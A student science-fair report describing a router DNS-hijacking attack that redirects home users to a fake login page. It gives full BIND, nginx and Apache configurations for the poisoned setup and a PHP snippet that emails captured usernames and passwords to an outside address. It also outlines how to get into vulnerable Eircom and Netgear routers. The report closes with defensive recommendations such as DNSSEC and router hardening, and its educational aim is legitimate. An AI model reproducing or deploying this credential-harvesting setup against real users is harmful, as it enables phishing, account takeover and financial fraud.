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1. Abstract
This project demonstrates the exploitation of routers by telling the DHCP to serve a 

DNS server in the control of a malicious user. This DNS server changes what the client 

that received when he or she tries to access a site they're given the wrong place to look for 

it. This means that the users login details or other sensitive details are captured.

The DNS server that  I  chose was  bind.  This was chosen because I  was most 

familiar with it and is seen as the de facto DNS server for almost all applications. I then 

configured  this  so  that  the  DNS  redirected  any  affected  user  that  tried  to  access 

“demo.exploitdns.ie” it would direct it to the poison server. This would allow me to control 

what the user saw and more importantly control what pages the user saw through the 

reverse proxy nginx that I implemented.

The HTTP server that I chose was apache because I was very familiar with it too 

and it also has the majority market share (53.84%, used across 108,953,838 hosts). This 

was initially going to be used as the reverse proxy as well as the HTTP server but this was 

not possible due to the software's limitations. However it was retained as the HTTP server 

which would serve the poison pages that would capture the login details. This was a full 

install including PHP.

The reverse proxy server that I chose was nginx because it is one that I had come 

across before and also I knew that there was a wealth of information available from a 

popular hosting provider's (Slicehost.com) website which meant that configuration would 

be much easier. This was the component that checks what page the user is visiting and int 

he event that they visit a page that is specified by the malicious user to redirect to another 

page then it will do that. It  can also redirect the user based on hosts and locations within 

the host, for example where the host is “facebook.com” and the location is “/login.php” 

then nginx will direct the user to the page that will capture their login details. 

The DHCP server  is  something that  most  users would use every  day, probably 

unknowingly. Most domestic computers now use DHCP which means that all the details 

that they need to connect to the network is given to them automatically. This would include 

an IP address, netmask, router's IP address and DNS servers. This projects changes the 

DNS server that the computer gets told by the DHCP server. It does this where a router 

can be accessed either easily or otherwise using malicious means. The attacker would 

then replace the DNS value that the DHCP servers give out and this would mean that the 

user would be directed to the attackers site instead of the one they're trying to visit.

The result of all of this is that any of the user's traffic  that the attacker could find 

useful will be redirected by the attacker to his or her own servers. See the 2 diagrams as a 

before and after example of what effect the attack has on a users web access.



This attack could be carried out with limited technical knowledge, free software and 

cheap hardware. A user is very unlikely to find out the attacker had even entered their 

network until  something happens like something appears on their  credit  card that they 

didn't pay for or buy, damage is caused to a hacked account etc... And even when they do 

find out the attack is very well hidden in terms of non-technical users trying to solve the 

problem. It would take a relatively well skilled IT professional a reasonable length of time 

to find the cause of the problem, and even when they spot it it's unlikely to be identified as 

the cause of the attack.

The eventual outcome for the user is most likely financial loss, violation of privacy 

including email, Facebook and possibly loss of information. The easiest solution is to tell 

users how to fix the problem themselves and let them know the possible consequences of 

not doing it.

Before After



2. Introduction
This projects intent is to demonstrate a lack of security and potential security flaw in 

the way users receive DNS via DHCP from their DSL/cable routers. Just to quickly define 

what is meant by 'router' in this case, a router is meant to mean a domestic all-in-one style 

ADSL or cable modem which can route packets in a TCP/IP stack between a LAN and a 

WAN with the IP addresses and related details being provided to client computers using 

the DHCP protocol.  This lack of security relates to the way the computers receive the 

receives the DNS servers it has to use. DNS servers are the phonebooks of the internet, it 

lets your computer know where to find the site you want to get to. By default a DSL router 

will take the DNS servers that it receives from it's ISP but if this is changed manually it will 

automatically tell the client computers to use those DNS addresses and that is the issue 

here as if the router is breached this means that the computers can be told to use different 

DNS server which is controlled by a malicious user (or ‘hacker’) with the intent of stealing 

sensitive details such as credit card information and login details. Losing that information 

to a third party is bad, but the problem could be compacted by the threat of identity theft 

occurring allowing the malicious user to get credit cards, loans and store accounts in the 

name of the person who's computer had been compromised and billable to them. 

I came up with this project after watching a program called “The Real Hustle” on 

BBC  where they setup a wireless access point  that captured credit  card details,  but  I 

thought  I  could  expand  on  that  and  cause  it  to  happen  to  an  unsuspecting  home 

broadband user whether they are using a wireless or wired connection. According to the 

CSO's  “Information  Society  Statistics”  from  2008,  43%  of  households  in  Ireland  had 

broadband and this number is likely to have increased. According to the 2006 census there 

were 1,473,718 households in Ireland making the number of households that could be 

affected by this issue approximately 640,000. Of course not all of these households would 

be vulnerable to this method of attack but a high proportion of them would be. 

By doing this project I hope to find a method of preventing this style of attack. I will 

do this by recreating a similar setup myself and looking at what could be changed within 

the system to ensure that the user is always delivered to the site that they intended and 

don't have details stolen from them. When I first thought of doing the project I researched 

the topic a little, I had a lot of experience with this type of work as it had been a hobby for 

many years before. I had experience with both DNS, ADSL routers, DHCP and computers 

and a fairly detailed knowledge of how they worked and what I would need to make this 

project work. Despite this initial knowledge I did a small amount of research to ensure that 

what I thought about was right. This research confirmed to me that:

• What I needed was a “poisoned” DNS server which would direct users to a server 

that I controlled.

• That server would then take out specific traffic based on the pages the users were 



visiting, these pages. The pages that it would target were the login pages of large 

websites such as Amazon, Facebook, Google or Yahoo.

• That traffic  taken out would be directed to a web server that would serve a page 

that  looked exactly  like  the  real  one but  would  record  the stolen details  into  a 

database and then redirect  users back to the real  website making it  appear  as 

though nothing had happened.

This would all be run on a single computer with a linux based operating system because I 

have a lot of experience with it and it's also free. It was also noted by me at this point that 

because the project worked on any platform because it targeted DHCP and DNS which 

are both services rather than a client computer.



3. Experimental Methods
To complete this project I  had to figure out what the best method to collect the 

person's details was. The most obvious way to do this was to look online through websites 

and documentation until I found what I needed to do the job. I had in my head from the 

initial  research that I  had done that I  would need to find a reverse proxy server, DNS 

server and web server. To start I decided I would find a way to direct specific traffic through 

my “poisoned” server and the way to start was to look at the OS I would use. I instantly 

chose GNU/Linux Debian because I was very familiar with it and more importantly it has a 

quick and easy package management system (used for installing programs) that would 

allow  me  to  develop  everything  else  around  it  very  rapidly,  it  also  installed  all 

dependancies that each of the packages required. 

Once I had chosen the operating system I knew the first and possibly most vital 

component of the system would be DNS.

3.i - DNS
Once I knew that DNS would be the way for me to redirect traffic from the normal 

stream towards my “poisoned” server I decided then and there that I would used ISC's 

bind because it  was the DNS server that I  was most familiar  and comfortable with.  I 

initially downloaded Debian's default installation of bind from it's software installation tool 

called apt. This installed what I thought would be everything I needed to cover the DNS 

aspect of the project. To install the package I just ran:

and that fetched all the packages and dependancies I would need. I then had to remove all 

the configurations that it put in place itself as it's configured by default to act as a master 

server rather than as a recursive caching DNS server as I needed it to be.

Once I had done that I found an example configuration that I could use online. This 

meant  that  I  could  get  this  working  quickly.  The  configuration  for 

/etc/bind/named.conf I ended up with on my server was the following:

 ben@YoungScientist:~$ sudo apt-get install bind9

 ben@YoungScientist:~$ sudo rm -Rf /etc/bind/*; 
 ben@YoungScientist:~$ sudo touch named.conf
 ben@YoungScientist:~$ cd /etc/bind/; sudo wget \ 
 > ftp://ftp.rs.internic.net/domain/db.cache



// “Poisoned” DNS
// /etc/bind/named.conf
// maintained by: Ben Chapman
//
options {
  directory "/var/cache/bind";
  // version statement - inhibited for security
  // (avoids hacking any known weaknesses)      
  version "not currently available";
  // disables all zone transfer requests as they are not required and cause 
  // security issues
  allow-transfer{"none";};
  // Closed DNS - permits only local IPs to issue queries 
  // remove if an Open DNS required to support all users 
  // or add additional IP ranges 
  // in this case either allow-query or allow-recursion can be used
  //allow-query {192.168.3.0/24;}; // REMOVED to allow external clients resolove
};
// required zone for recursive queries
zone "." {
  type hint;
  file "db.cache";
};

// required local host domain
zone "localhost" in{
  type master;
  file "db.localhost";
  allow-update{none;};
};

I also had to get db.localhost from the same site I got the sample configuration from. 

This could remain unchanged:

$TTL    86400 ; 24 hours, could have been written as 24h
$ORIGIN localhost.
; line below = localhost 1D IN SOA localhost root.localhost
@  1D  IN        SOA @  root (
                              20091109 ; serial
                              3H ; refresh
                              15 ; retry
                              1w ; expire
                              3h ; minimum
                             )
@  1D  IN  NS @ 
   1D  IN  A  127.0.0.1  

Having done all of this I attempted to start the server and was successful in doing 

so. First thing I did was check if the DNS server was accessible to the outside world, which 

was critical  to ensuring that it  could be used for an attack like this. I  ran the following 

command and got the response:



It was meant to have a section like this in it if it worked:

I did a bit of research on what was causing this problem and I found that  apt's 

ben@YoungScientist:/etc/bind$ dig @87.232.224.29

; <<>> DiG 9.5.1-P3 <<>> @87.232.224.29
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 64423
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;. IN NS

;; Query time: 1 msec
;; SERVER: 87.232.224.29#53(87.232.224.29)
;; WHEN: Sat Jan  9 02:28:49 2010
;; MSG SIZE  rcvd: 17

;; ANSWER SECTION:
. 518400 IN NS B.ROOT-SERVERS.NET.
. 518400 IN NS F.ROOT-SERVERS.NET.
. 518400 IN NS C.ROOT-SERVERS.NET.
. 518400 IN NS H.ROOT-SERVERS.NET.
. 518400 IN NS K.ROOT-SERVERS.NET.
. 518400 IN NS A.ROOT-SERVERS.NET.
. 518400 IN NS E.ROOT-SERVERS.NET.
. 518400 IN NS J.ROOT-SERVERS.NET.
. 518400 IN NS D.ROOT-SERVERS.NET.
. 518400 IN NS L.ROOT-SERVERS.NET.
. 518400 IN NS M.ROOT-SERVERS.NET.
. 518400 IN NS G.ROOT-SERVERS.NET.
. 518400 IN NS I.ROOT-SERVERS.NET.

;; ADDITIONAL SECTION:
A.ROOT-SERVERS.NET. 604800 IN A 198.41.0.4
A.ROOT-SERVERS.NET. 604800 IN AAAA 2001:503:ba3e::2:30
B.ROOT-SERVERS.NET. 604800 IN A 192.228.79.201
C.ROOT-SERVERS.NET. 604800 IN A 192.33.4.12
D.ROOT-SERVERS.NET. 604800 IN A 128.8.10.90
E.ROOT-SERVERS.NET. 604800 IN A 192.203.230.10
F.ROOT-SERVERS.NET. 604800 IN A 192.5.5.241
F.ROOT-SERVERS.NET. 604800 IN AAAA 2001:500:2f::f
G.ROOT-SERVERS.NET. 604800 IN A 192.112.36.4
H.ROOT-SERVERS.NET. 604800 IN A 128.63.2.53
H.ROOT-SERVERS.NET. 604800 IN AAAA 2001:500:1::803f:235
I.ROOT-SERVERS.NET. 604800 IN A 192.36.148.17
J.ROOT-SERVERS.NET. 604800 IN A 192.58.128.30
J.ROOT-SERVERS.NET. 604800 IN AAAA 2001:503:c27::2:30



installation uses  chroot which prevents certain functions within  bind and this is what 

was preventing the server from releasing the information that I needed to every computer 

that requested it. I learnt quickly that I needed to compile  bind from source so I could 

choose  the  exact  options  to  compile  it  with  so  that  it  would  not  break  with  this 

configuration. I used the commands below to get it:

All that executed successfully and it meant that I had an installation of  bind that 

met the exact requirements of this project. I checked this using the same dig command 

as earlier.

To this I also added a “master” section for demo.exploitdns.ie as this is the site I'ld 

be using to  demonstrate the capture.  This  would direct  all  traffic  through the “poison” 

server  which  would  display  a  page.  This  required  an  addition  to 

/home/ben/bind/etc/named.conf:
zone "demo.exploitdns.ie" in{
  type master;
  file "db.demo.exploitdns.ie";
  allow-update{none;};
};

I also created the db.demo.exploitdns.ie 
$TTL 3600
$ORIGIN demo.exploitdns.ie.
@ IN SOA demo.exploitdns.ie. root.localhost. (

       20091203 ; Serial
 604800 ; Refresh
  86400 ; Retry
2419200 ; Expire
 604800 ) ; Negative Cache TTL

;
@ IN NS localhost.
www IN A 87.232.224.29
@ IN A 87.232.224.29
login IN A 10.0.0.1 // preserves login functions

3.ii - HTTP
The next element that I thought was required was the part of the project that gave 

the “poisoned” pages to the user. I chose to use  apache as my HTTP server as I was 

most familiar with it and thought that it would do exactly what I wanted as I could use 

mod_proxy  for  reverse  proxying  so  that  the  user  could  access  the  actual  site  as 

transparently as possible. To get everything I needed I installed  apache along with it's 

related packages using apt:

 ben@YoungScientist:~$ cd; mkdir -p src; cd src
 ben@YoungScientist:~$ wget \ 
 >  ftp://ftp.isc.org/isc/bind9/9.6.1-P2/bind-9.6.1-P2.tar.gz
 ben@YoungScientist:~$ tar xvf bind-*.tar.gz
 ben@YoungScientist:~$ cd bind*
 ben@YoungScientist:~$ ./configure –prefix=$HOME/bind \
 > --disable-chroot

[verbose output]
 ben@YoungScientist:~$ make; make install;

[verbose output]

ftp://ftp.isc.org/isc/bind9/9.6.1-P2/bind-9.6.1-P2.tar.gz
mailto:ben@YoungScientist
mailto:ben@YoungScientist
mailto:ben@Young
mailto:ben@Young


Once that was done I ran  curl to check if the install had gone correctly. I got a 

positive response

This signified that the installation had worked. I now just checked if PHP worked also:

The test.php just contained a tiny php script that I wrote:
<?php echo "Success!"; ?>

So I could test if PHP was working or not, and it was working completely.

From here  I  attempted  to  configure apache as  a  reverse  proxy  after  a  bit  of 

research online I realised that it would be impractical to have apache acting as both the 

web server and a reverse proxy. So first I had to change (changes highlighted in yellow) 

the port that  apache listened on  8080 on localhost instead of 80 on all interfaces in 

/etc/apache2/ports.conf:
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default
# This is also true if you have upgraded from before 2.2.9-3 (i.e. from
# Debian etch). See /usr/share/doc/apache2.2-common/NEWS.Debian.gz and
# README.Debian.gz

NameVirtualHost *:8080
Listen 127.0.0.1:8080

I also had to change the /etc/apache2/sites-enabled/000-default to:
<VirtualHost *:8080>

ServerAdmin webmaster@localhost

DocumentRoot /var/www/
<Directory />

Options FollowSymLinks
AllowOverride None

</Directory>
<Directory /var/www/>

Options -Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all

</Directory>

</VirtualHost>

Then created a vhost that replicated a website I wanted to capture login details from, I 

have used demo.exploitdns.ie as the demonstration site:

<VirtualHost *:8080>
ServerAdmin webmaster@localhost

 ben@YoungScientist:~$ sudo apt-get install apache2.2-common \
 > libapache2-mod-php5 curl php5 php5-cli php5-curl

 ben@YoungScientist:~$ curl http://127.0.0.1/
 <html><body><h1>It works!</h1></body></html>

 ben@YoungScientist:~$ curl http://127.0.0.1/test.php
 Success!



ServerName demo.exploitdns.ie
ServerAlias *.demo.exploitdns.ie

DocumentRoot /home/ben/sites/demo.exploitdns.ie/login
<Directory />

Options FollowSymLinks
AllowOverride All

</Directory>
<Directory /var/www/>

Options -Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all

</Directory>

</VirtualHost>

3.iii - Reverse Proxy

As soon as I found that I would need a separate reverse proxy from my installation 

of apache I got searching for a program that could perform as the reverse proxy. The first 

one I came across was squid-cache but after researching that a bit I found that it would 

not be able to handle a number of different virtual hosts which would be required for this 

project so I decided to continue searching. After a considerable amount of time searching I 

found what was the perfect solution nginx which I had come across before, but only as a 

web server rather than a reverse proxy. However a bit of reading and I found that it would 

be  relatively  trivial  to  configure  and  therefore  I  chose  to  install  it.  Also  a  fairly  trivial 

process:

I then checked if nginx worked by running:

This  meant  that  nginx  worked with  its  default  configuration  so  I  could  rule  out  a  bad 

installation if things went wrong later. Having found example configurations to do exactly 

what I needed earlier when searching for a reverse proxy I just used them and modified 

them to do what I wanted. The most important being nginx.conf which contained the main 

configuration for the server. The instructions on the site I was following told me that I would 

 ben@YoungScientist:~$ sudo apt-get install libpcre3 \
 > libpcre3-dev libpcrecpp0 libssl-dev zlib1g-dev make
 ben@YoungScientist:~$ mkdir ~/src; cd !$;
 ben@YoungScientist:~$ wget \
 > http://sysoev.ru/nginx/nginx-0.6.32.tar.gz
 ben@YoungScientist:~$ tar -zxvf nginx-0.6.32.tar.gz; cd nginx*;
 ben@YoungScientist:~$ ./configure --prefix=$HOME/nginx
 ben@YoungScientist:~$ make; sudo make install;

 ben@YoungScientist:~$ curl http://localhost/
 <html>
 <head>
 <title>Welcome to nginx!</title>
 </head>
 <body bgcolor="white" text="black">
 <center><h1>Welcome to nginx!</h1></center>
 </body>
 </html>
 



be better getting rid of the default configuration file and using theirs and I did so. nginx.conf 

ended up looking like this (changes from the example configuration file are highlighted in 

yellow, lines removed have strikethroughs in red):
user                www-data www-data;
worker_processes    2;

error_log           /var/log/nginx/error.log warn;
pid                 /var/run/nginx.pid;

events {
    worker_connections  1024;
    use epoll;
}

http {
    # allow long server names
    server_names_hash_bucket_size 64;
    
    include             /home/ben/nginx/etc/mime.types;
    default_type        application/octet-stream;

    log_format main '$remote_addr - $remote_user [$time_local] '
                    '"$request" $status $body_bytes_sent "$http_referer" '
                    '"$http_user_agent" "$http_x_forwarded_for"';

    access_log          /var/log/nginx/access.log;
    
    # spool uploads to disk instead of clobbering downstream servers
    client_body_temp_path /var/spool/nginx-client-body 1 2;
    client_max_body_size 32m;
    client_body_buffer_size    128k;
    
    server_tokens       off;

    sendfile            on;
    tcp_nopush          on;
    tcp_nodelay         off;

    keepalive_timeout   5;
    
    ## Compression
    gzip on;
    gzip_http_version 1.0;
    gzip_comp_level 2;
    gzip_proxied any;
    gzip_min_length  1100;
    gzip_buffers 16 8k;
    gzip_types text/plain text/html text/css application/x-javascript \
        text/xml application/xml application/xml+rss text/javascript \
        image/gif image/jpeg image/png;
    # Some version of IE 6 don't handle compression well on some mime-types, 
    # so just disable for them
    gzip_disable "MSIE [1-6].(?!.*SV1)";
    # Set a vary header so downstream proxies don't send cached gzipped 
    # content to IE6
    gzip_vary on;
    
    # proxy settings
    proxy_redirect     off;

    proxy_set_header   Host             $host;
    proxy_set_header   X-Real-IP        $remote_addr;
    proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
    proxy_max_temp_file_size 0;

    proxy_connect_timeout      90;
    proxy_send_timeout         90;
    proxy_read_timeout         90;

    proxy_buffer_size          4k;



    proxy_buffers              4 32k;
    proxy_busy_buffers_size    64k;
    proxy_temp_file_write_size 64k;

    include             /home/ben/nginx/etc/sites-enabled/*;

}

I then ran the following commands to create the sites-enabled directories:

Then  I  created  a  default  vhost  which  pointed  into  empty  space.  This  was  placed  in 

/home/ben/nginx/etc/sites-enabled/default:
server {
    listen       80;
    server_name  _;
    rewrite ^(.*) http://www.google.com/search?q=$host;
}

We then had to create a  demo.exploitdns.ie  vhost configuration file which would 

direct regular traffic to facebook but the login page would direct the user to the “poison” 

server. This was taken from an example configuration on the same site:

server {

    listen       80;
    server_name  demo.exploitdns.ie;
    server_alias *.demo.exploitdns.ie;

    access_log  off;
    error_log off;

    location / {
        proxy_pass         http://www.demo.exploitdns.ie/;
        proxy_redirect     off;

        proxy_set_header   Host             $host;
        proxy_set_header   X-Real-IP        $remote_addr;
        proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
        proxy_max_temp_file_size 0;

        client_max_body_size       10m;
        client_body_buffer_size    128k;

        proxy_connect_timeout      90;
        proxy_send_timeout         90;
        proxy_read_timeout         90;

        proxy_buffer_size          4k;
        proxy_buffers              4 32k;
        proxy_busy_buffers_size    64k;
        proxy_temp_file_write_size 64k;
    }

    location /login.php {
        proxy_pass         http://127.0.0.1:8080/;
        proxy_redirect     off;

        proxy_set_header   Host             $host;
        proxy_max_temp_file_size 0;

        client_max_body_size       10m;
        client_body_buffer_size    128k;

        proxy_connect_timeout      90;

 ben@YoungScientist:~$ mkdir -p /home/ben/nginx/etc/sites-enabled



        proxy_send_timeout         90;
        proxy_read_timeout         90;

        proxy_buffer_size          4k;
        proxy_buffers              4 32k;
        proxy_busy_buffers_size    64k;
        proxy_temp_file_write_size 64k;
    }
}

This completes the setup and the last thing I do is start up nginx:

3.iv - Website Duplication
Once all the servers had been setup I had to duplicate the pages that I wanted to 

steal login details and sends them to the third party user. The first thing to do is download 

a copy of the page to poison to the directory for the site:

This downloads a copy into the directory and you just need to make a slight modification:
<?php

if($_GET['login_attempt'] == "1"){

mail("ystest@dismiz.com","Login details for ".$_POST['username'], 

$_POST['username']."\n".$_POST['password'],

"From: demo.exploitdns.ie <no-reply@expoitdns.ie>");

header("Location: https://login.demo.exploitdns.ie/login.php");

} else {

?>

[unchanged content]

<form method="POST" action="/login.php?login_attempt=1">[...]</form>

[unchanged content]

<?php } ?>

This will  email  the attacker  the username and password to access the account.  Then 

redirect the user back to the normal demo.exploitdns.ie.

3.v - DHCP
The DHCP server is technically what we're attacking here but that's contained within 

the ADSL modem (“router”) as part of the package so we attempt to gain access to a 

router. For this project I decided that it would be best to demonstrate it one of Eircom's 

Netopia series routers as there is a well know security flaw affecting a lot of users who 

have wifi  enabled on it that allows a third party to get their password (both the keys and 

SSID were generated by Eircom's firmware using the serial number meaning that if you 

had  one  you  could  get  the  other)  using  just  the  SSID  (name)  of  the  network,  e.g. 

 ben@YoungScientist:~$ sudo nginx/sbin/nginx

 ben@YoungScientist:~$ cd sites/demo.exploitdns.ie/login
 ben@YoungScientist:~$ wget http://demo.exploitdns.ie/login.php



eircom2737_2360. This has meant that a significant number of routers around the country 

have  been  left  vulnerable  and  exposed  despite  the  owners  thinking  they  are  secure. 

Another  type  of  router  (mostly  Netgear)  also  has  a  problem  because  many 

unknowledgable  users  expose  the  routers  “remote  administration”  feature  and  don't 

change the default  username and password to access the administration interface this 

means that anyone on the internet can easily access and change the information on these 

routers just by doing a port scan of an IP address range. It could be possible to target 

hundreds of users this way without having to be anywhere near their physical location. 

Once the the third party has accessed the router they will change the DNS servers 

that the DHCP client gets told to their “poison” server and this will redirect all DNS traffic 

through their servers so that they can selectively steal information from the person being 

attacked.



4. Results
Normally my computer would take the DNS from my router (which in turn gets it 

from my ISP. When I request demo.exploitdns.ie it would normally look like this:

What  this  diagram  shows  is  that  normally  when  my  computer  makes  a  request  for 

demo.exploitdns.ie the safe DNS server tells it where to find demo.exploitdns.ie's server. 

Then my computer  communicates  with  demo.exploitdns.ie's  server  and  tells  it  what  it 

wants. Initially demo.exploitdns.ie asks for the user's login details on “/login.php” to which 

the  user  replies  with  their  login  information  (normally  email  and  password)  and 

Client Safe DNS
10.0.0.1

Safe Server
10.25.25.25

Query “demo.exploitdns.ie”

Response “10.25.25.25”

Return login cookie

GET “/home.php” with login cookie

Return “home.php”

Poison DNS

Poison HTTP

Safe DNS

Safe HTTP

GET “/login.php”



demo.exploitdns.ie's servers check if this is right or wrong and if it's correct send the user 

a “cookie” which every time the user loads a page on demo.exploitdns.ie tells the page 

that they're that user.

Once the DNS has been changed however all the DNS traffic is routed through the 

poisoned  server.  This  allows  the  poisoned  server  misinforms  people  about  where 

demo.exploitdns.ie is. It directs them through itself and shows them to the poisoned login 

page which steals their details and then redirects them to the real demo.exploitdns.ie. This 

changes the diagram above to look like this:

Client Poison 
Server

10.0.0.1

Safe Server
10.25.25.25

Query “demo.exploitdns.ie”

Response “10.0.0.1”

GET “/login.php” POST “username=&password=”

Return login cookie
Return login cookie

GET “/home.php” with login cookie

Return “home.php”

Poison DNS

Poison HTTP

Safe DNS

Safe HTTP



This results in 2 different login pages being served but it's almost impossible to tell which 

one is which. See the before and after image below of the demo.exploitdns.ie login screen:

Before

After



The  person  who  has  stolen  the  login  details  would  get  an  email  containing  just  the 

username and password like the below (it should be noted that those account details do 

not and cannot exist on demo.exploitdns.ie): 

To: admin@dismiz.com
Subject: Login details for test@example.com
From: "demo.exploitdns.ie" <no-reply@expoitdns.ie>

Username: test@example.com
Password: 1234

The person who had stolen these details could then use them to login to your account and 

steal information. I used demo.exploitdns.ie as an example. If a malicious user were to 

perpetrate  a phishing attack  like this  they would capture the login  page of  a  site  like 

Paypal.com or the payment pages of Amazon.com.



5. Conclusions and Recommendations
The  results  of  my  project  demonstrate  that  it  would  be  very  very  easy  for  a 

malicious user attempting to steal user's details. All the required software was free and the 

hardware was cheap. Even with limited technical knowledge of the technology surrounding 

it a malicious user could easily replicated this attack using resources found online. For an 

attacker there is little risk involved as the user is unlikely to discover it until something 

stops working for them or the attacker uses something like their credit card. 

Through this method the user is very unlikely to notice that anything is wrong as 

everything is in place and transparent. Also, the method by which this attack changes the 

DNS server they use means that it will mostly affect inexperienced users who are very 

unlikely to notice anything is wrong until they cannot do something and call their ISP or 

they experience a fraudulent credit card purchase and even then there is little chance that 

they will find the alternative DNS server. Even a skilled IT professional a reasonable length 

of time to spot that this was the problem, if they ever did notice it. And if they did notice it 

they're unlikely to associate it with a phishing attack.

One solution to this form of attack is very simple. When the ISP sends out a router 

to a customer they provide a very simple and easy to follow instruction sheet on what to do 

when they are setting up the router that includes changing the default passwords on the 

router and ensuring that the remote administration interface is  off.  For existing users I 

would recommend that ISPs send out a letter to inform their existing users about changing 

their equipment. 

Another solution is for manufacturers of these routers such as Netopia and Linksys 

or the ISPs who have custom firmware to force the user to change the router's password 

when they are setting up the router and also ensuring that the remote administration is 

clearly labeled and a warning accompanies it. This would cut out almost all chance of this 

style of attacks.

The last solution that I will recommend is that DNSSEC (DNS Security Extensions) 

is  implemented  on  all  consumer  DNS resolvers  and  all  DNS server  implementations. 

DNSSEC is a way of ensuring that the DNS record that the user receives is valid and the 

one intended. It prevents attacks like this by checking if records have been tampered with 

and  if  they've  come  from  the  authoritative  server.  It  does  that  using  public-key 

cryptography. When the client resolves a domain it checks if it came from the authoritative 

server. This attack spoofs the DNS record for a particular domain, this to the end user 

appears to become the authoritative server.
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7. Appendices

Letter to the IEDR re: Domain name application for exploitdns.ie in relation to this 

project:

Dear Sir or Madam,

I wish to apply for ExploitDNS.ie as I need it for my BT Young Scientist and Technology
Exhibition project entitled “Exploitation of routers using alternate DNS servers”. This domain will
be used for both an informational website in relation to the project that will allow people to gain
addition information after the exhibition and also used for the purpose of demonstrating the project
working, resolving the sites correctly.
Regards,
Ben Chapman



8. References
• CSO, “Information Society Statistics” (2008) - 

• http://www.cso.ie/releasespublications/documents/industry/current/issh.pdf
• CSO, Cesus (2006) -

• http://www.cso.ie/px/
• BIND administrators reference manual

• https://www.isc.org/files/Bv9.6ARM.pdf
• BIND Caching-only nameserver sample configuration

• http://www.zytrax.com/books/dns/ch6/index.html#caching
• BIND sample localhost configuration

• http://www.zytrax.com/books/dns/ch6/localhost.html
• db.cache download procedure

• http://www.cyberciti.biz/faq/unix-linux-update-root-hints-data-file/
• Apache2.2 vhost configuration examples

• http://httpd.apache.org/docs/2.2/vhosts/name-based.html
• Nginx documentation wiki

• http://wiki.nginx.org/
• Nginx as a reverse proxy installation from source

• http://articles.slicehost.com/2007/12/3/ubuntu-gutsy-installing-nginx-from-source
• Nginx reverse proxy configuration

• http://intranation.com/entries/2008/09/using-nginx-reverse-proxy/
• Nginx redirect example

• http://aleksandarsavic.com/nginx-redirect-wwwexamplecom-requests-to-
examplecom-or-vice-versa/

• Icons for diagrams in results
• http://openclipart.org/ - Computer (Client)
• http://commons.mediawiki.org/ - Server

• Information on DNSSEC
• http://blog.internetgovernance.org/blog/_archives/2007/4/9/2866546.html
• http://en.wikipedia.org/wiki/DNSSEC

• Apache usage statistics
• http://news.netcraft.com/archives/2010/01/07/january_2010_web_server_survey

.html

http://www.cso.ie/releasespublications/documents/industry/current/issh.pdf

